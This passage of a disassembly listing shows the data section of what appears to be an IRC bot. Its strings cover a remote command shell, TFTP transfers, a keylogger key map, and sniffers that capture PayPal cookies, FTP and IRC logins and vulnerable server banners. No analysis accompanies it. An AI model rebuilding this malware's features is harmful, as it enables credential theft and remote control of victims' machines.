a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_433F80	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_433FC4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_43402C	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_434074	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_4340B4	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_4340F8	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_434124	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_434150	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_43418C	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_4341B8	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4341E4	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_434380	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_4343B4	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4343FC	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_434424	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434464	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_4344A4	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_4344E4	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 8
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_434E54	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_434E84:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 10h
		dd offset off_435748
		dd offset off_435744
		dd offset off_435740
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h
		db 0
		db 3 dup(0)		; DATA XREF: ___:off_435744o
		dd 3 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00434EDCo
		align 10h
off_435740	dd offset word_505446	; DATA XREF: ___:00434ED8o
off_435744	dd offset byte_435249	; DATA XREF: ___:00434ED4o
off_435748	dd offset word_544F42	; DATA XREF: ___:00434ED0o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin		db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_0	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_4359BC	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359F4	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_435A2C	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A60	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A94	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435AC8	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_435AF8	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
